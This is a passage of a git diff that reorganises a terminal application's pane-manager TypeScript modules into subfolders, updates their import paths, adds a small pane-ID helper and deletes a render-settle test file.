-    expect(pane.imageAttachmentDeferred).toBe(true)
-
-    await loader.primeTerminalImageAddon()
-
-    expect(loader.getTerminalImageAddonConstructor()).not.toBeNull()
-    expect(pane.imageAddon).not.toBeNull()
-    expect(pane.imageAttachmentDeferred).toBe(false)
-    images.detachInlineImages(pane)
-    pane.terminal.dispose()
-  })
-
-  it('disposes a partially activated addon and allows a later retry', () => {
-    const pane = makePane(7)
-    const before = disposeSpy.mock.calls.length
-    activation.fail = true
-    try {
-      attachInlineImages(pane)
-      expect(pane.imageAddon).toBeNull()
-      expect(disposeSpy).toHaveBeenCalledTimes(before + 1)
-    } finally {
-      activation.fail = false
-    }
-    attachInlineImages(pane)
-    expect(pane.imageAddon).not.toBeNull()
-    detachInlineImages(pane)
-    pane.terminal.dispose()
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-layout/mint-stable-pane-id.ts b/src/renderer/src/lib/pane-manager/pane-layout/mint-stable-pane-id.ts
new file mode 100644
index 00000000000..4b9818f76c5
--- /dev/null
+++ b/src/renderer/src/lib/pane-manager/pane-layout/mint-stable-pane-id.ts
@@ -0,0 +1,7 @@
+import type { TerminalLeafId } from '../../../../../shared/workspace-layout/stable-pane-id'
+import { createNonSecureContextUuid } from '../../../../../shared/non-secure-context-uuid'
+
+export function mintStablePaneId(): TerminalLeafId {
+  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: createBrowserUuid always returns a lowercase v4 UUID, the TerminalLeafId shape.
+  return createNonSecureContextUuid() as TerminalLeafId
+}
diff --git a/src/renderer/src/lib/pane-manager/pane-close-focus-successor.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-close-focus-successor.ts
similarity index 94%
rename from src/renderer/src/lib/pane-manager/pane-close-focus-successor.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-close-focus-successor.ts
index a005cc35026..b2dc249a6d3 100644
--- a/src/renderer/src/lib/pane-manager/pane-close-focus-successor.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-close-focus-successor.ts
@@ -1,4 +1,4 @@
-import type { ManagedPaneInternal } from './pane-manager-types'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 import { findPaneChildren, getSplitDirection } from './pane-tree-equalization'
 
 /** Before DOM removal, choose the sibling leaf touching the freed edge to follow the space it inherits. */
diff --git a/src/renderer/src/lib/pane-manager/pane-divider-drag.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-divider-drag.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-divider-drag.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-divider-drag.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-divider.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-divider.ts
similarity index 95%
rename from src/renderer/src/lib/pane-manager/pane-divider.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-divider.ts
index f0f5824008c..ce61d72c679 100644
--- a/src/renderer/src/lib/pane-manager/pane-divider.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-divider.ts
@@ -1,6 +1,5 @@
-import type { PaneStyleOptions, ManagedPaneInternal } from './pane-manager-types'
+import type { PaneStyleOptions, ManagedPaneInternal } from '../pane-manager-types'
 import { attachDividerDrag, disposeDividerDrag, type DividerCallbacks } from './pane-divider-drag'
-export { createDividerFlexFrameScheduler } from './pane-divider-drag'
 
 export function getDividerHitSize(styleOptions: PaneStyleOptions): number {
   const thickness = styleOptions.dividerThicknessPx ?? 4
diff --git a/src/renderer/src/lib/pane-manager/pane-drag-pointer.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-drag-pointer.ts
similarity index 99%
rename from src/renderer/src/lib/pane-manager/pane-drag-pointer.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-drag-pointer.ts
index be148aa1eb8..1218049f777 100644
--- a/src/renderer/src/lib/pane-manager/pane-drag-pointer.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-drag-pointer.ts
@@ -1,4 +1,4 @@
-import type { DropZone, ManagedPaneInternal, PaneExternalDropTarget } from './pane-manager-types'
+import type { DropZone, ManagedPaneInternal, PaneExternalDropTarget } from '../pane-manager-types'
 import type { DragReorderCallbacks, DragReorderState } from './pane-drag-reorder'
 import {
   handlePaneDrop,
diff --git a/src/renderer/src/lib/pane-manager/pane-drag-reorder.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-drag-reorder.ts
similarity index 96%
rename from src/renderer/src/lib/pane-manager/pane-drag-reorder.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-drag-reorder.ts
index d9b81b8d8de..bd56fbc127d 100644
--- a/src/renderer/src/lib/pane-manager/pane-drag-reorder.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-drag-reorder.ts
@@ -7,8 +7,9 @@ import type {
   PaneDropTaker,
   PaneExternalDropTarget,
   PaneStyleOptions
-} from './pane-manager-types'
-import { detachPaneFromTree, findPaneChildren, insertPaneNextTo } from './pane-tree-ops'
+} from '../pane-manager-types'
+import { detachPaneFromTree, insertPaneNextTo } from './pane-tree-ops'
+import { findPaneChildren } from './pane-tree-equalization'
 
 export type DragReorderState = {
   dragSourcePaneId: number | null
diff --git a/src/renderer/src/lib/pane-manager/pane-layout-geometry-apply.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-layout-geometry-apply.ts
similarity index 92%
rename from src/renderer/src/lib/pane-manager/pane-layout-geometry-apply.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-layout-geometry-apply.ts
index 06a77a853b2..56feffafcdc 100644
--- a/src/renderer/src/lib/pane-manager/pane-layout-geometry-apply.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-layout-geometry-apply.ts
@@ -1,10 +1,11 @@
-import type { TerminalPaneLayoutNode } from '../../../../shared/workspace-layout/terminal-tab-types'
-import type { PaneManagerHost } from './pane-manager-host'
+import type { TerminalPaneLayoutNode } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { PaneManagerHost } from '../pane-manager-host'
 import { movePanesToMatchTree } from './pane-tree-match-moves'
 import { applyDividerStyles, disposeDivider } from './pane-divider'
 import { findPaneChildren } from './pane-tree-equalization'
 import { refitPanesUnder } from './pane-tree-ops'
-import { readSplitRatio, SPLIT_RATIO_TOLERANCE } from './pane-split-ratio'
+import { readSplitRatio } from './pane-split-ratio'
+import { SPLIT_RATIO_TOLERANCE } from '../../../../../shared/workspace-layout/terminal-pane-tree'
 
 type GeometryWrite = {
   split: HTMLElement
diff --git a/src/renderer/src/lib/pane-manager/pane-pty-resize-hold.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-pty-resize-hold.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-pty-resize-hold.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-pty-resize-hold.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-reparent-frame-tracker.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-reparent-frame-tracker.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-reparent-frame-tracker.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-reparent-frame-tracker.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-split-close.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-split-close.ts
similarity index 91%
rename from src/renderer/src/lib/pane-manager/pane-split-close.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-split-close.ts
index 62497eb9102..71d262c8f6e 100644
--- a/src/renderer/src/lib/pane-manager/pane-split-close.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-split-close.ts
@@ -4,25 +4,24 @@ import type {
   PaneManagerOptions,
   PaneSplitOptions,
   PaneStyleOptions
-} from './pane-manager-types'
+} from '../pane-manager-types'
 import type { DragReorderCallbacks } from './pane-drag-reorder'
 import { updateMultiPaneState } from './pane-drag-reorder'
-import {
-  captureScrollState,
-  findPaneChildren,
-  promoteSibling,
-  removeDividers,
-  safeFit,
-  wrapInSplit
-} from './pane-tree-ops'
+import { promoteSibling, removeDividers, wrapInSplit } from './pane-tree-ops'
+import { captureScrollState } from '../terminal-scroll/pane-scroll-snapshot'
+import { findPaneChildren } from './pane-tree-equalization'
+import { safeFit } from '../terminal-fit/pane-fit'
 import { applyDividerStyles, applyPaneOpacity } from './pane-divider'
-import { disposePane, openTerminal } from './pane-lifecycle'
-import { disposeWebgl } from './pane-webgl-renderer'
-import { clearPendingSplitScrollRestore, scheduleSplitScrollRestore } from './pane-split-scroll'
-import { reattachWebglIfNeeded } from './pane-webgl-reattach'
-import { toPublicPane } from './pane-public-view'
+import { disposePane, openTerminal } from '../pane-lifecycle'
+import { disposeWebgl } from '../terminal-rendering/pane-webgl-renderer'
+import {
+  clearPendingSplitScrollRestore,
+  scheduleSplitScrollRestore
+} from '../terminal-scroll/pane-split-scroll'
+import { reattachWebglIfNeeded } from '../terminal-rendering/pane-webgl-reattach'
+import { toPublicPane } from '../pane-public-view'
 import { findClosedPaneSuccessor } from './pane-close-focus-successor'
-import { releaseTerminalScrollIntentKey } from './terminal-scroll-intent-key-store'
+import { releaseTerminalScrollIntentKey } from '../terminal-scroll/terminal-scroll-intent-key-store'
 
 type MovedPaneSplitState = {
   pane: ManagedPaneInternal
diff --git a/src/renderer/src/lib/pane-manager/pane-split-ratio.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-split-ratio.ts
similarity index 83%
rename from src/renderer/src/lib/pane-manager/pane-split-ratio.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-split-ratio.ts
index 8fe032316b3..6933d30377b 100644
--- a/src/renderer/src/lib/pane-manager/pane-split-ratio.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-split-ratio.ts
@@ -1,5 +1,5 @@
 // Why: serialization drops ratios this close to 0.5, so an apply within it must not write either.
-export { SPLIT_RATIO_TOLERANCE } from '../../../../shared/workspace-layout/terminal-pane-tree'
+import '../../../../../shared/workspace-layout/terminal-pane-tree'
 
 /** First child's share of a split, read from the two children's flex-grow. */
 export function readSplitRatio(first: HTMLElement, second: HTMLElement): number {
diff --git a/src/renderer/src/lib/pane-manager/pane-subtree-split.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-subtree-split.ts
similarity index 99%
rename from src/renderer/src/lib/pane-manager/pane-subtree-split.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-subtree-split.ts
index f03f2cab882..d71ae6a77c9 100644
--- a/src/renderer/src/lib/pane-manager/pane-subtree-split.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-subtree-split.ts
@@ -3,7 +3,7 @@ import type {
   ManagedPaneInternal,
   PaneManagerOptions,
   PaneStyleOptions
-} from './pane-manager-types'
+} from '../pane-manager-types'
 import type { DragReorderCallbacks } from './pane-drag-reorder'
 import { splitManagedPane } from './pane-split-close'
 
diff --git a/src/renderer/src/lib/pane-manager/pane-tree-equalization-parity.test.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-tree-equalization-parity.test.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-tree-equalization-parity.test.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-tree-equalization-parity.test.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-tree-equalization.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-tree-equalization.ts
similarity index 100%
rename from src/renderer/src/lib/pane-manager/pane-tree-equalization.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-tree-equalization.ts
diff --git a/src/renderer/src/lib/pane-manager/pane-tree-match-moves.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-tree-match-moves.ts
similarity index 89%
rename from src/renderer/src/lib/pane-manager/pane-tree-match-moves.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-tree-match-moves.ts
index 5ac51ab6040..e2b6854964f 100644
--- a/src/renderer/src/lib/pane-manager/pane-tree-match-moves.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-tree-match-moves.ts
@@ -1,6 +1,6 @@
-import type { TerminalPaneLayoutNode } from '../../../../shared/workspace-layout/terminal-tab-types'
-import type { PaneManagerHost } from './pane-manager-host'
-import type { ManagedPaneInternal } from './pane-manager-types'
+import type { TerminalPaneLayoutNode } from '../../../../../shared/workspace-layout/terminal-tab-types'
+import type { PaneManagerHost } from '../pane-manager-host'
+import type { ManagedPaneInternal } from '../pane-manager-types'
 import { updateMultiPaneState } from './pane-drag-reorder'
 import { detachPaneFromTree, insertPaneNextTo } from './pane-tree-ops'
 
diff --git a/src/renderer/src/lib/pane-manager/pane-tree-ops.ts b/src/renderer/src/lib/pane-manager/pane-layout/pane-tree-ops.ts
similarity index 95%
rename from src/renderer/src/lib/pane-manager/pane-tree-ops.ts
rename to src/renderer/src/lib/pane-manager/pane-layout/pane-tree-ops.ts
index 31128cf2a90..279239fb087 100644
--- a/src/renderer/src/lib/pane-manager/pane-tree-ops.ts
+++ b/src/renderer/src/lib/pane-manager/pane-layout/pane-tree-ops.ts
@@ -3,19 +3,13 @@ import type {
   ManagedPane,
   ManagedPaneInternal,
   PaneStyleOptions
-} from './pane-manager-types'
+} from '../pane-manager-types'
 import { createDivider, disposeDivider } from './pane-divider'
-import { disposeWebgl, attachWebgl } from './pane-webgl-renderer'
-import { safeFit } from './pane-fit'
+import { disposeWebgl, attachWebgl } from '../terminal-rendering/pane-webgl-renderer'
+import { safeFit } from '../terminal-fit/pane-fit'
 
-export {
-  cancelPendingSafeFitContinuations,
-  safeFit,
-  safeFitAndThen,
-  type SafeFitContinuationHandle
-} from './pane-fit'
-export { captureScrollState, restoreScrollState } from './pane-scroll'
-export { equalizePaneSplitSizes, findPaneChildren } from './pane-tree-equalization'
+import '../terminal-scroll/pane-scroll'
+import './pane-tree-equalization'
 
 type TreeOpsCallbacks = {
   getRoot: () => HTMLElement
diff --git a/src/renderer/src/lib/pane-manager/pane-lifecycle.ts b/src/renderer/src/lib/pane-manager/pane-lifecycle.ts
index 6c7a7c1fd9d..f206d9fb8cc 100644
--- a/src/renderer/src/lib/pane-manager/pane-lifecycle.ts
+++ b/src/renderer/src/lib/pane-manager/pane-lifecycle.ts
@@ -1,28 +1,33 @@
 import type { ManagedPaneInternal } from './pane-manager-types'
-import { safeFit } from './pane-tree-ops'
+import './pane-layout/pane-tree-ops'
+import { safeFit } from './terminal-fit/pane-fit'
 import {
   attachPaneFitResizeObserver,
   detachPaneFitResizeObserver
-} from './pane-fit-resize-observer'
-import { clearPendingSplitScrollRestore } from './pane-split-scroll'
-import { cancelDeferredScrollRestore } from './pane-scroll'
+} from './terminal-fit/pane-fit-resize-observer'
+import { clearPendingSplitScrollRestore } from './terminal-scroll/pane-split-scroll'
+import { cancelDeferredScrollRestore } from './terminal-scroll/pane-scroll'
 import { activateOrcaTerminalUnicodeProvider } from '../../../../shared/terminal/appearance/terminal-unicode-provider'
-import { attachTerminalMouseWheelMultiplier } from './pane-terminal-mouse-wheel'
-import { attachTerminalScrollIntentTracking } from './terminal-scroll-intent-dom-tracking'
+import { attachTerminalMouseWheelMultiplier } from './terminal-input/pane-terminal-mouse-wheel'
+import { attachTerminalScrollIntentTracking } from './terminal-scroll/terminal-scroll-intent-dom-tracking'
 import {
   installTerminalLinkifierHoverResetOnMouseLeave,
   installTerminalLinkifierHoverResetOnWindowBlur
-} from './terminal-linkifier-hover-reset-on-mouseleave'
-import { installTerminalLinkifierHoverResetOnWrite } from './terminal-linkifier-hover-reset-on-write'
-import { attachDomRendererFocusClassSync } from './pane-dom-focus-class-sync'
-import { attachDomBlockFill } from './terminal-dom-block-fill'
-import { attachWebgl, cancelPendingWebglRefresh, disposeWebgl } from './pane-webgl-renderer'
-import { rebuildAttachedWebgl } from './pane-webgl-reattach'
-import { configureLazyArabicShapingJoiner } from './terminal-arabic-shaping-joiner'
-import { TerminalLigaturesAddon } from './terminal-ligatures-addon'
-import { attachInlineImages, detachInlineImages } from './pane-inline-images'
-import { installTerminalImeCandidateAnchor } from './terminal-ime-candidate-anchor'
-import { cancelPendingTerminalViewportPresents } from './pane-viewport-present'
+} from './terminal-input/terminal-linkifier-hover-reset-on-mouseleave'
+import { installTerminalLinkifierHoverResetOnWrite } from './terminal-input/terminal-linkifier-hover-reset-on-write'
+import { attachDomRendererFocusClassSync } from './pane-focus/pane-dom-focus-class-sync'
+import { attachDomBlockFill } from './terminal-rendering/terminal-dom-block-fill'
+import {
+  attachWebgl,
+  cancelPendingWebglRefresh,
+  disposeWebgl
+} from './terminal-rendering/pane-webgl-renderer'
+import { rebuildAttachedWebgl } from './terminal-rendering/pane-webgl-reattach'
+import { configureLazyArabicShapingJoiner } from './terminal-rendering/terminal-arabic-shaping-joiner'
+import { TerminalLigaturesAddon } from './terminal-rendering/terminal-ligatures-addon'
+import { attachInlineImages, detachInlineImages } from './terminal-rendering/pane-inline-images'
+import { installTerminalImeCandidateAnchor } from './terminal-input/terminal-ime-candidate-anchor'
+import { cancelPendingTerminalViewportPresents } from './terminal-rendering/pane-viewport-present'
 import { releaseReplayGuardsForDisposedTerminal } from '@/components/terminal-pane/snapshots/replay-guard'
 
 import './pane-dom-creation'
diff --git a/src/renderer/src/lib/pane-manager/pane-manager-drag-wiring.ts b/src/renderer/src/lib/pane-manager/pane-manager-drag-wiring.ts
index acb22224f55..7e85db557b9 100644
--- a/src/renderer/src/lib/pane-manager/pane-manager-drag-wiring.ts
+++ b/src/renderer/src/lib/pane-manager/pane-manager-drag-wiring.ts
@@ -1,7 +1,8 @@
-import type { DragReorderCallbacks } from './pane-drag-reorder'
+import type { DragReorderCallbacks } from './pane-layout/pane-drag-reorder'
 import type { PaneManagerHost } from './pane-manager-host'
-import { applyDividerStyles, applyPaneOpacity, createDivider } from './pane-divider'
-import { refitPanesUnder, safeFit } from './pane-tree-ops'
+import { applyDividerStyles, applyPaneOpacity, createDivider } from './pane-layout/pane-divider'
+import { refitPanesUnder } from './pane-layout/pane-tree-ops'
+import { safeFit } from './terminal-fit/pane-fit'
 
 export function createManagedPaneDivider(host: PaneManagerHost, isVertical: boolean): HTMLElement {
   return createDivider(isVertical, host.getStyleOptions(), {
diff --git a/src/renderer/src/lib/pane-manager/pane-manager-host.ts b/src/renderer/src/lib/pane-manager/pane-manager-host.ts
index 8d557d163b4..692ab03e64f 100644
--- a/src/renderer/src/lib/pane-manager/pane-manager-host.ts
+++ b/src/renderer/src/lib/pane-manager/pane-manager-host.ts
@@ -4,7 +4,7 @@ import type {
   PaneManagerOptions,
   PaneStyleOptions
 } from './pane-manager-types'
-import type { DragReorderCallbacks, DragReorderState } from './pane-drag-reorder'
+import type { DragReorderCallbacks, DragReorderState } from './pane-layout/pane-drag-reorder'
 import type { PaneIdentityRegistry } from './pane-identity-registry'
 
 /** Collaborator callbacks use getters for mutable activePaneId/styleOptions so they never capture stale manager state. */
diff --git a/src/renderer/src/lib/pane-manager/pane-manager-layout-sweeps.ts b/src/renderer/src/lib/pane-manager/pane-manager-layout-sweeps.ts
index a49a750a403..257661335f4 100644
--- a/src/renderer/src/lib/pane-manager/pane-manager-layout-sweeps.ts
+++ b/src/renderer/src/lib/pane-manager/pane-manager-layout-sweeps.ts
@@ -1,6 +1,7 @@
 import type { ManagedPaneInternal } from './pane-manager-types'
-import { equalizePaneSplitSizes } from './pane-tree-ops'
-import { fitRevealedPane } from './pane-reveal-fit'
+import './pane-layout/pane-tree-ops'
+import { equalizePaneSplitSizes } from './pane-layout/pane-tree-equalization'
+import { fitRevealedPane } from './terminal-fit/pane-reveal-fit'
 
 // Raw reveal fits can reflow transient DOM/WebGL metric differences and corrupt inline TUIs; use fitRevealedPane.
 export function fitRevealedPanes(panes: Map<number, ManagedPaneInternal>): void {
diff --git a/src/renderer/src/lib/pane-manager/pane-manager-pane-creation.ts b/src/renderer/src/lib/pane-manager/pane-manager-pane-creation.ts
index 81c41465794..0101c9674ae 100644
--- a/src/renderer/src/lib/pane-manager/pane-manager-pane-creation.ts
+++ b/src/renderer/src/lib/pane-manager/pane-manager-pane-creation.ts
@@ -1,4 +1,4 @@
-import { focusPanePreservingOverlays } from './pane-overlay-focus'
+import { focusPanePreservingOverlays } from './pane-focus/pane-overlay-focus'
 import type {
   ManagedPane,
   ManagedPaneInternal,
@@ -6,10 +6,14 @@ import type {
   PaneActivationOptions
 } from './pane-manager-types'
 import type { PaneManagerHost } from './pane-manager-host'
-import { applyPaneOpacity, applyDividerStyles, applyRootBackground } from './pane-divider'
+import {
+  applyPaneOpacity,
+  applyDividerStyles,
+  applyRootBackground
+} from './pane-layout/pane-divider'
 import { openTerminal } from './pane-lifecycle'
 import { createPaneDOM } from '@/lib/pane-manager/pane-dom-creation'
-import { shouldFollowMouseFocus } from './focus-follows-mouse'
+import { shouldFollowMouseFocus } from './pane-focus/focus-follows-mouse'
 import { toPublicPane } from './pane-public-view'
 
 export function applyManagedPaneStyles(host: PaneManagerHost): void {
diff --git a/src/renderer/src/lib/pane-manager/pane-manager-tree-mutations.ts b/src/renderer/src/lib/pane-manager/pane-manager-tree-mutations.ts
index b3758730d59..3193f622ae0 100644
--- a/src/renderer/src/lib/pane-manager/pane-manager-tree-mutations.ts
+++ b/src/renderer/src/lib/pane-manager/pane-manager-tree-mutations.ts
@@ -1,13 +1,13 @@
 import type { ManagedPane, PaneSplitOptions } from './pane-manager-types'
 import type { PaneManagerHost } from './pane-manager-host'
-import type { SplitPaneAroundLeafIdsOptions } from './pane-subtree-split'
+import type { SplitPaneAroundLeafIdsOptions } from './pane-layout/pane-subtree-split'
 import {
   closeManagedPane,
   detachManagedPaneForExternalMove,
   retireManagedPanePreservingPty,
   splitManagedPane
-} from './pane-split-close'
-import { splitPaneAroundMountedSubtree } from './pane-subtree-split'
+} from './pane-layout/pane-split-close'
+import { splitPaneAroundMountedSubtree } from './pane-layout/pane-subtree-split'
 
 export function splitPaneOnManager(
   host: PaneManagerHost,
diff --git a/src/renderer/src/lib/pane-manager/pane-manager-types.ts b/src/renderer/src/lib/pane-manager/pane-manager-types.ts
index b1e63812127..4d41d6f236b 100644
--- a/src/renderer/src/lib/pane-manager/pane-manager-types.ts
+++ b/src/renderer/src/lib/pane-manager/pane-manager-types.ts
@@ -1,4 +1,4 @@
-import type { IDisposable, IMarker, Terminal, ITerminalOptions } from '@xterm/xterm'
+import type { IDisposable, Terminal, ITerminalOptions } from '@xterm/xterm'
 import type { FitAddon } from '@xterm/addon-fit'
 import type { ImageAddon } from '@xterm/addon-image'
 import type { LigaturesAddon } from '@xterm/addon-ligatures'
@@ -10,9 +10,8 @@ import type { SerializeAddon } from '@xterm/addon-serialize'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import type { TerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
 import type { TerminalPanePlacement } from '../../../../shared/workspace-layout/terminal-pane-placement'
-import type { TerminalWebglAutoDecision } from './terminal-webgl-auto-policy'
-
-export type { TerminalScrollIntentTarget } from './terminal-scroll-intent'
+import type { ScrollState } from './terminal-scroll/pane-scroll-snapshot'
+import type { TerminalWebglAutoDecision } from './terminal-rendering/terminal-webgl-auto-policy'
 
 export type PaneActivationOptions = { focus?: boolean }
 
@@ -133,16 +132,6 @@ export type PaneRenderingDiagnostics = {
   hasWebgl: boolean
 }
 
-export type ScrollState = {
-  bufferType: 'normal' | 'alternate'
-  wasAtBottom: boolean
-  viewportY: number
-  baseY: number
-  firstVisibleLineMarker?: IMarker
-  firstVisibleLogicalLineMarker?: IMarker
-  firstVisibleLogicalCellOffset?: number
-}
-
 export type ManagedPaneInternal = {
   xtermContainer: HTMLElement
   linkTooltip: HTMLElement
diff --git a/src/renderer/src/lib/pane-manager/pane-manager.ts b/src/renderer/src/lib/pane-manager/pane-manager.ts
index 9da6e3cd64a..f5bbce02852 100644
--- a/src/renderer/src/lib/pane-manager/pane-manager.ts
+++ b/src/renderer/src/lib/pane-manager/pane-manager.ts
@@ -7,17 +7,21 @@ import type {
   DropZone,
   PaneActivationOptions
 } from './pane-manager-types'
-import type { SplitPaneAroundLeafIdsOptions } from './pane-subtree-split'
+import type { SplitPaneAroundLeafIdsOptions } from './pane-layout/pane-subtree-split'
 import type { PaneManagerHost } from './pane-manager-host'
-import { disposeDividersIn } from './pane-divider'
-import { cancelActivePaneDrag, createDragReorderState, handlePaneDrop } from './pane-drag-reorder'
-import { beginPaneDragFromPointerDown } from './pane-drag-pointer'
+import { disposeDividersIn } from './pane-layout/pane-divider'
+import {
+  cancelActivePaneDrag,
+  createDragReorderState,
+  handlePaneDrop
+} from './pane-layout/pane-drag-reorder'
+import { beginPaneDragFromPointerDown } from './pane-layout/pane-drag-pointer'
 import { setLigaturesEnabled, disposePane } from './pane-lifecycle'
-import { setInlineImagesEnabled } from './pane-inline-images'
-import { fitAllPanesInternal } from './pane-tree-ops'
+import { setInlineImagesEnabled } from './terminal-rendering/pane-inline-images'
+import { fitAllPanesInternal } from './pane-layout/pane-tree-ops'
 import { collectPublicPanes, toPublicPane } from './pane-public-view'
-import { applyTerminalGpuAcceleration } from './pane-terminal-gpu-acceleration'
-import { detachPanesWebglForRebuild } from './pane-webgl-reattach'
+import { applyTerminalGpuAcceleration } from './terminal-rendering/pane-terminal-gpu-acceleration'
+import { detachPanesWebglForRebuild } from './terminal-rendering/pane-webgl-reattach'
 import {
   markPaneComplexScriptOutput,
   clearPaneWebglTextureAtlases,
@@ -26,13 +30,16 @@ import {
   resumePaneRendering,
   setPaneGpuRenderingState,
   suspendPaneRendering
-} from './pane-rendering-control'
+} from './terminal-rendering/pane-rendering-control'
 import type { TerminalLeafId } from '../../../../shared/workspace-layout/stable-pane-id'
 import { registerLivePaneManager, unregisterLivePaneManager } from './pane-manager-registry'
-import { releaseHiddenWebglRetention } from './terminal-webgl-hidden-retention'
-import { schedulePaneRevealPresent, schedulePaneRevealRepaint } from './pane-reveal-repaint'
+import { releaseHiddenWebglRetention } from './terminal-rendering/terminal-webgl-hidden-retention'
+import {
+  schedulePaneRevealPresent,
+  schedulePaneRevealRepaint
+} from './terminal-rendering/pane-reveal-repaint'
 import { PaneIdentityRegistry } from './pane-identity-registry'
-import { PaneReparentFrameTracker } from './pane-reparent-frame-tracker'
+import { PaneReparentFrameTracker } from './pane-layout/pane-reparent-frame-tracker'
 import {
   closePaneOnManager,
   detachPaneForExternalMoveOnManager,
@@ -53,21 +60,11 @@ import {
   fitRevealedPanes,
   refreshAllPaneTerminals
 } from './pane-manager-layout-sweeps'
-import { collectPaneRenderingDiagnostics } from './pane-rendering-diagnostics'
-import { applyPaneLayoutGeometry } from './pane-layout-geometry-apply'
+import { collectPaneRenderingDiagnostics } from './terminal-rendering/pane-rendering-diagnostics'
+import { applyPaneLayoutGeometry } from './pane-layout/pane-layout-geometry-apply'
 import type { TerminalPaneLayoutNode } from '../../../../shared/workspace-layout/terminal-tab-types'
 import { FIRST_PANE_ID } from '../../../../shared/pane-key'
 
-export type {
-  PaneManagerOptions,
-  PaneStyleOptions,
-  ManagedPane,
-  DropZone,
-  PaneExternalDropTarget,
-  PaneExternalDropResolver,
-  PaneExternalDropHandler
-} from './pane-manager-types'
-
 export class PaneManager {
   private root: HTMLElement
   private panes = new Map<number, ManagedPaneInternal>()
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-foreground-render-settle.test.ts b/src/renderer/src/lib/pane-manager/pane-terminal-foreground-render-settle.test.ts
deleted file mode 100644
index bfda112da14..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-terminal-foreground-render-settle.test.ts
+++ /dev/null
@@ -1,57 +0,0 @@
-import { describe, expect, it, vi } from 'vitest'
-import { writeForegroundTerminalChunk } from './pane-terminal-foreground-render-settle'
-
-type RefreshFn = (start: number, end: number, sync?: boolean) => void
-
-type RenderServiceStub = {
-  _isPaused: boolean
-  _needsFullRefresh: boolean
-  refreshRows: ReturnType<typeof vi.fn<RefreshFn>>
-}
-
-function createTerminal(paused: boolean): {
-  terminal: {
-    rows: number
-    buffer: { active: { cursorY: number; baseY: number; viewportY: number } }
-    _core: { refresh: ReturnType<typeof vi.fn<RefreshFn>>; _renderService: RenderServiceStub }
-    refresh: ReturnType<typeof vi.fn<(start: number, end: number) => void>>
-    write: (data: string, callback?: () => void) => void
-  }
-  renderService: RenderServiceStub
-} {
-  const renderService: RenderServiceStub = {
-    _isPaused: paused,
-    _needsFullRefresh: paused,
-    refreshRows: vi.fn<RefreshFn>()
-  }
-  const terminal = {
-    rows: 24,
-    buffer: { active: { cursorY: 0, baseY: 0, viewportY: 0 } },
-    _core: { refresh: vi.fn<RefreshFn>(), _renderService: renderService },
-    refresh: vi.fn<(start: number, end: number) => void>(),
-    write: (_data: string, callback?: () => void) => callback?.()
-  }
-  return { terminal, renderService }
-}
-
-describe('writeForegroundTerminalChunk render-pause ownership', () => {
-  it('leaves a newly-hidden terminal paused when replay parsing finishes', () => {
-    const { terminal, renderService } = createTerminal(true)
-    let parsed: (() => void) | undefined
-    let visible = true
-    terminal.write = (_data: string, callback?: () => void) => {
-      parsed = callback
-    }
-
-    writeForegroundTerminalChunk(terminal, 'late replay bytes', {
-      forceViewportRefresh: true,
-      shouldReleaseRenderPause: () => visible
-    })
-    visible = false
-    parsed?.()
-
-    expect(renderService.refreshRows).not.toHaveBeenCalled()
-    expect(renderService._isPaused).toBe(true)
-    expect(renderService._needsFullRefresh).toBe(true)
-  })
-})
diff --git a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-test-harness.ts b/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-test-harness.ts
deleted file mode 100644
index 17084172309..00000000000
--- a/src/renderer/src/lib/pane-manager/pane-terminal-output-scheduler-test-harness.ts
+++ /dev/null
